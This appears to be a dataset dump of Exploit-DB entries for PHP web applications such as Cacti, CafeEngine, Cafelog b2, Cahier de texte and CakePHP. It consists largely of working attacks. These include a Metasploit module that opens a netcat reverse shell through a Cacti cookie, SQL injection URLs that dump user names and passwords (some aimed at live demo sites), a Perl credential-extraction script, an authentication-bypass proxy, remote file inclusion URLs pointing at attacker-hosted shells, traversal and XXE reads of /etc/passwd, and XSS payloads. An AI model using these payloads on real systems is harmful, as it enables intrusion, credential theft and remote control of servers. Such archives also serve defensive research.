deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48159
Description: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2020-03-02
Author: Lucas Amorim

Exploit:
# Exploit Title: Cacti v1.2.8 - Unauthenticated Remote Code Execution (Metasploit)
# Date: 2020-02-29
# Exploit Author: Lucas Amorim (sh286)s
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: Linux
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Cacti v1.2.8 Unauthenticated Remote Code Execution',
      'Description' => %q{graph_realtime.php in Cacti 1.2.8 allows remote attackers to 
        execute arbitrary OS commands via shell metacharacters in a cookie, if a guest user has 
        the graph real-time privilege.},
      'Author' =>
        [
          'Lucas Amorim ' # MSF module
        ],
      'License' => MSF_LICENSE,
      'Platform' => 'php',
      'References' =>
        [
          ['CVE', '2020-8813']
        ],
      'DisclosureDate' => 'Feb 21 2020',
      'Privileged' => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp',
        'SSL' => true,
      },
      'Targets' => [
        ['Automatic', {}]
      ],
      'DefaultTarget'   => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('RPATH', [ false, "path to cacti", "" ])
        ])

        deregister_options('VHOST')
  end

  def check
    res = send_request_raw(
      'method' => 'GET',
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init"
    )

    if res && res.code == 200
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end

  def send_payload()
    exec_payload=(";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % [datastore['LHOST'], datastore['LPORT']])
    send_request_raw(
      'uri' => "#{datastore['RPATH']}/graph_realtime.php?action=init",
      'method' => 'GET',
      'cookie' => "Cacti=#{Rex::Text.uri_encode(exec_payload, mode = 'hex-normal')}"
    )
  end

  def exploit
    if check == Exploit::CheckCode::Vulnerable
      print_good("Target seems to be a vulnerable")
      send_payload()
    else
      print_error("Target does not seem to be vulnerable. Will exit now...")
    end
  end
end
Exploit-DB #7480
Description: CadeNix - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-15
Author: HaCkeR_EgY

Exploit:
###################################
        Remote Sql Injection  CadeNix [ index.php ]
           CadeNix  Online Games Play Online
###################################
# I am , HaCkeR _EgY
# My Home : www.atsdp.com
# Message : Mr.SQL   Really  I miss You , see u sooon My bro :)
# Script : cadenix
# Download : http://www.cadenix.com
# Exploit :
               http://site.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members--
# Live Demo :
               http://cadenix.com/demo/index.php?game=40664&cid=-1+union+select+1,2,3,name,5,6,pass,8,9,10+from+members--
# Admin Panel  :   http://cadenix.com/demo/admin
####################  Greetz  ::  Abo Mohamed  #####################

# milw0rm.com [2008-12-15]
Exploit-DB #3237
Description: Cadre PHP Framework - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-31
Author: y3dips

Exploit:
____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_63$2007

------------------------------------------------------------------------------------
[ECHO_ADV_63$2007] Cadre remote file inclusion
------------------------------------------------------------------------------------

Author		: Ahmad Muammar W.K (a.k.a) y3dips
Date Found	: January, 31st 2007
Location	: Indonesia, Jakarta
web		: http://echo.or.id/adv/adv63-y3dips-2007.txt
Critical Lvl	: Critical
------------------------------------------------------------------------------------


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : Cadre
URL           : http://www.cronosys.com | http://savannah.gnu.org/projects/cadre/
Download-path : http://ftp.azc.uam.mx/mirrors/gnu/savannah/files/cadre/cadre-20020724.tar.gz

Description   : Cadre is a PHP framework for developing large business applications. 
		It currently supports PostgreSQL as the database back end (although 
		this is extensible). We (Cronosys, LLC) have invested two and a half 
		years in this framework and applications based on this framework.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

	---------------class.Quick_Config_Browser.php --------------------
	...
	include_once($GLOBALS[config][framework_path] . "class.Browser.php");
	...
	------------------------------------------------------------------


	An attacker can exploit this vulnerability with a simple php injection script.

Poc/Exploit:
~~~~~~~~

http://target/cadre/fw/class.Quick_Config_Browser.php?GLOBALS[config][framework_path]=http://attacker/shell.php?

---------------------------------------------------------------------------
Shoutz:
~~~
~ my lovely ana
~ k-159 (my greatest brotha), the_day (young evil thinker), and all echo staff
~ str0ke, waraxe, negative
~ newbie_hacker@yahoogroups.com
~ #e-c-h-o @irc.dal.net

---------------------------------------------------------------------------
Contact:
~~~~

     y3dips|| echo|staff || y3dips[at]gmail[dot]com
     Homepage: http://y3dips.echo.or.id/

# milw0rm.com [2007-01-31]
Exploit-DB #8002
Description: CafeEngine - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-06
Author: SuNHouSe2

Exploit:
           
             /************************************************************************/
             /*                                                                      */
             /*                            CAFE ENGINE                               */
             /*                                                                      */
             /*                   Remote SQL Injection Vulnerability                 */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/
   
                                                                                 


 [~]AUTHOR          : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]HOME            : http://www.snakespc.com                    

 [~]VERSION         : EASY CAFE ENGINE

 [~]BUY SCRIPT      : http://cafeengine.com/  >>> Price : 10$

 [~]EXPLOIT         : 

                     http://127.0.0.1/index.php?catid=4%20UNION%20ALL%20SELECT%201,2,3,Group_concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
                     
 [~]DEMO WEBSITE    :
                     http://easy.cafeengine.com/index.php?catid=4%20UNION%20ALL%20SELECT%201,2,3,Group_concat(user(),0x3a,database(),0x3a,version()),5,6,7,8,9,10--
                

                             /////////////////////////////////////////////////////////////////////////////////////
            
                            ////////        Special ThanX : His0k4,& ALL Snakespc.com Members       ////////////
                           ////////             :Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:
                          ////////     ::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::so9or::    ////////////
                            
                         ////////////////////////////////////////////////////////////////////////////////////
                                        

                                               -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2009-02-06]
Exploit-DB #13769
Description: CafeEngine 2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-08
Author: Sid3^effects

Exploit:
==========================================================
             CafeEngine CMS V2.3 SQLI Vulnerability  
==========================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : CafeEngine CMS V2.3 SQLI Vulnerability  
Date : june, 8 2010
Vendor url :http://www.cafeengine.com/
Price: $115
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),MaYur,LiquidWorm,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:
CafeEngine is a professional CMS for cafe or restaurant web site. It's not a set of scripts only, but allow to provide new level of service to restaurant visitors and administration.

CafeEngine Features

    * Shopping cart developed especially for restaurant sites
    * Fully customizeable
    * Photo gallery
    * Free installation
    * Google map integration
    * 24/7 email support
    * PayPal integration
    * Unlimited number of static site pages
    * Advanced site navigation
    * SEO - friendly
    * News,Events,Reviews etc...

###############################################################################################################
Xploit: SQLI

DEMO :http://server/restaurant-site-cms-script-demo/dish.php?id=[sqli]
 
###############################################################################################################
#Sid#^effects
Exploit-DB #22672
Description: Cafelog b2 0.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-05-29
Author: pokleyzz

Exploit:
source: https://www.securityfocus.com/bid/7738/info

A remote file include vulnerability has been reported for Cafelog. Due to insufficient sanitization of some user-supplied variables by the 'blogger-2-b2.php' and 'gm-2-b2.php' scripts, it is possible for a remote attacker to include a malicious PHP file in a URL.

If the remote file is a malicious PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the web server. 

http://blabla.com/b2-tools/gm-2-b2.php?b2inc=http://attacker.com
Exploit-DB #29904
Description: CafeLog B2 0.6.1 Weblog and News Publishing Tool - 'b2archives.php?b2inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23659/info

B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2archives.php?b2inc=http://shell
Exploit-DB #29905
Description: CafeLog B2 0.6.1 Weblog and News Publishing Tool - 'b2categories.php?b2inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23659/info
 
B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2categories.php?b2inc=http://shell
Exploit-DB #29906
Description: CafeLog B2 0.6.1 Weblog and News Publishing Tool - 'b2mail.php?b2inc' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-25
Author: alijsb

Exploit:
source: https://www.securityfocus.com/bid/23659/info
  
B2 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
These issues affect B2 0.6.1; other versions may also be vulnerable. 

http://www.example.com/b2mail.php?b2inc=http://shell
Exploit-DB #2485
Description: Cahier de texte 2.0 - 'lire.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-07
Author: s4mi

Exploit:
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#             Cahier  de  textes  
#   Pierre Lemaitre - St Lô (France) - Ver 2.0
#           
#          Remote SQL injection Exploit
#
#              Discovred By s4mi
#           s4mi[at]linuxmail[dot]org
# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# exploit Coded by simo64
#
# all thanks to simo64,drackanz,hardose,r00t 
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1]));

$host = $ARGV[0];
$path = $ARGV[1];

syswrite STDOUT ,"\nConnecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "\nUnable to connect to $host\n" unless($sock);

syswrite STDOUT, "[OK]";

$inject = "1&matiere_ID=-1+union%20select%20null,CONCAT(nom_prof,CHAR(58),CHAR(58),passe)%20FROM%20cdt_prof/*";	

syswrite STDOUT ,"\nSending Data ...";

print $sock "GET $path/lire.php?classe_ID=1&matiere_ID=$inject HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Connection: Close\n\n";

syswrite STDOUT ,"[OK]\n\n";

	while($res = <$sock>){
	#print $res;sleep(1);
		if($res =~ /class="Style6">(.*?)::(.*?)<\/td>/){
			print "Exploit Succeded !\n\n";sleep(1);
			$userlogin = $1 ;
			$userpass  = $2;
			print "adminlogin  : $userlogin\n";sleep(1);
			print "admin[CREDENTIAL_REDACTED]\n";sleep(1);
			$succeded = "ok";
			}
		}
if(!defined($succeded)) {print "\nExploit Failed\n";} else {print "\nEnjoy ;)";}

sub usage{
	print "\nUsage   : perl $0 host /path/ ";
	print "\nExemple : perl $0 www.victime.net /cahier/\n";
	exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
            Cahier  de  textes  v2.0 
   Pierre Lemaitre - St Lô (France) - Ver 2.0

       Remote SQL injection Exploit by s4mi
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# milw0rm.com [2006-10-07]
Exploit-DB #3016
Description: Cahier de texte 2.2 - Bypass General Access Protection
Type: webapps
Platform: php
Date: 2006-12-26
Author: DarkFig

Exploit:
<?
/*

  Informations
  ============
  Affected.scr..: Cahier de texte V2.2 (last version)
  Poc.ID........: 17061224
  Type..........: Bypass general access restriction
  Risk.level....: High
  Conditions....: None
  Src.download..: www.etab.ac-caen.fr/bsauveur/cahier_de_texte/
  Poc.link......: acid-root.new.fr/poc/17061224.txt
  Credits.......: DarkFig

  Vulnerable code
  ===============
  <?php session_start();
  if (isset($_SESSION['nom_prof'])) { 
  if ($_SESSION['nom_prof']<>'Administrateur') { header("Location: ../index.php");}
  ;} else { header("Location: ../index.php");}?>
  ...

*/

if(!isset($_GET['host']) || empty($_GET['host'])) headers();
if(!isset($_GET['wanted'])) $wanted = 'index.php';

$host = $_GET['host'];
$prox = $_GET['prox'];
$path = $_GET['path'];
echo sockxp($host,$path,$prox,"administration/".$wanted);
exit(0);

function headers()
{
	print("<html>
<head>
 <title>Cahier de texte V2.2 Exploit</title>
</head>
<body>
 <form method='get' action='".$_SERVER['PHP_SELF']."'>
  <input type='text' name='host' value='host'>
  <input type='text' name='path' value='path'>
  <input type='text' name='prox' value='proxyhost:proxyport'>
  <input type='submit' value='Exploit'>
 </form>
</body>
</html>");
	exit(0);
}

function sockxp($host,$path,$prox,$wanted)
{
	$hope = !empty($prox) ? $prox : $host.':80';
	preg_match("/^(\S*):([0-9]+){1,5}/",$hope,$hosta);
	$hosh = $hosta[1];
	$hosp = $hosta[2];
	
	$recv = '';
	$meth = $_SERVER['REQUEST_METHOD'];
	if(empty($hosh) || empty($hosp)) exit(1);

	if(!$sock = fsockopen($hosh,$hosp)) exit(1);
	$dat  = $meth." http://".$host;
	
	if($meth === "POST") $dat .= "/".str_replace("administration//","",$wanted);
	else $dat .= $path.$wanted;
	
	$dat .= " HTTP/1.1\r\n";
	$dat .= "Host: $host\r\n";
	$dat .= "Connection: Close\r\n";
	
	if($meth === "POST") {
		$postdata = get_postdata();
		$dat .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$dat .= "Content-Length: ".strlen($postdata)."\r\n\r\n";
		$dat .= $postdata."\r\n\r\n";
	} else {
		$dat .= "\r\n";
	}

	fputs($sock,$dat);
	while(!feof($sock)) $recv .= fgets($sock);
	fclose($sock);

	return html_replace($recv);
}

function html_replace($htmlc)
{
	global $host,$path,$prox;
	$iniv = $_SERVER['PHP_SELF']."?host=$host&path=$path&prox=$prox&wanted=";
	$newc = str_replace("action=\"","action=\"$iniv",$htmlc);
	$newc = str_replace("=\"..","=\"http://${host}${path}administration/..",$newc);
	$newc = str_replace("a href=\"","a href=\"$iniv",$newc);
	$newc = str_replace("MM_goToURL('parent','","MM_goToURL('parent','$iniv",$newc);
	$newc = explode("\n",$newc);
	for($i=1;$i<count($newc);$i++) {
		if(!preg_match("/(\S*):/",$newc[$i])) $v=1;
		if($v) $nnewc .= $newc[$i]."\n";
	}
	return $nnewc;
}

function get_postdata()
{
	$postdata = '';
	foreach($_POST as $key => $value) {
		$postdata .= $key."=".$value."&";
	}
	return $postdata;
}
?>

# milw0rm.com [2006-12-26]
Exploit-DB #28645
Description: CakePHP 1.1.7.3363 - 'Vendors.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-09-22
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/20150/info

CakePHP is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Version 1.1.7.3633 is vulnerable; earlier versions may also be affected.

http://www.example.com/js/vendors.php?file=../../../../[file]%00foobar.js
Exploit-DB #38695
Description: CakePHP 2.2.8/2.3.7 - AssetDispatcher Class Local File Inclusion
Type: webapps
Platform: php
Date: 2013-08-13
Author: Takeshi Terada

Exploit:
source: https://www.securityfocus.com/bid/61746/info

CakePHP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to view files or execute arbitrary script code in the context of the web server process. This may aid in further attacks.

CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected. 

http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd

http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd
Exploit-DB #19863
Description: CakePHP 2.x < 2.2.0-RC2 - XML External Entity Injection
Type: webapps
Platform: php
Date: 2012-07-16
Author: Pawel Wylecial

Exploit:
# Exploit title: CakePHP XXE injection
# Date: 01.07.2012
# Software Link: http://www.cakephp.org
# Vulnerable version: 2.x - 2.2.0-RC2
# Tested on: Windows and Linux
# Author: Pawel Wylecial
# http://h0wl.pl
1. Background

Short description from the project website: "CakePHP makes building web applications simpler, faster and require less code."

2. Vulnerability

CakePHP is vulnerable to XML eXternal Entity injection. The class responsible for building XML (it uses PHP SimpleXML) does allow local file inclusion.

3. Proof of Concept

Linux:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///etc/passwd" >]>
<request>
  <xxe>&payload;</xxe>
</request>

Windows:
<!DOCTYPE cakephp [
  <!ENTITY payload SYSTEM "file:///C:/boot.ini" >]>
<request>
  <xxe>&payload;</xxe>
</request>

4. Fix

Fix applied in version 2.2.1 and 2.1.5. See official security release:
http://bakery.cakephp.org/articles/markstory/2012/07/14/security_release_-_cakephp_2_1_5_2_2_1

5. Timeline

1.07.2012 - vulnerability reported
13.07.2012 - response from CakePHP
14.07.2012 - confirmed and fix release
Exploit-DB #29304
Description: Calacode @Mail Webmail 4.51 - Filtering Engine HTML Injection
Type: webapps
Platform: php
Date: 2006-12-20
Author: Philippe C. Caturegli

Exploit:
source: https://www.securityfocus.com/bid/21708/info

Calacode @Mail is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary script code in the victim's browser, in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Create am email message containing:
<SCRIPT/XSS src=//www.example.com/xss.js></SCRIPT>
Exploit-DB #31858
Description: Calcium 3.10/4.0.4 - 'Calcium40.pl' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-28
Author: Marvin Simkin

Exploit:
source: https://www.securityfocus.com/bid/29411/info

Calcium is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Calcium 4.0.4 and 3.10 are vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/Calcium40.pl?Op=ShowIt&CalendarName=[xss]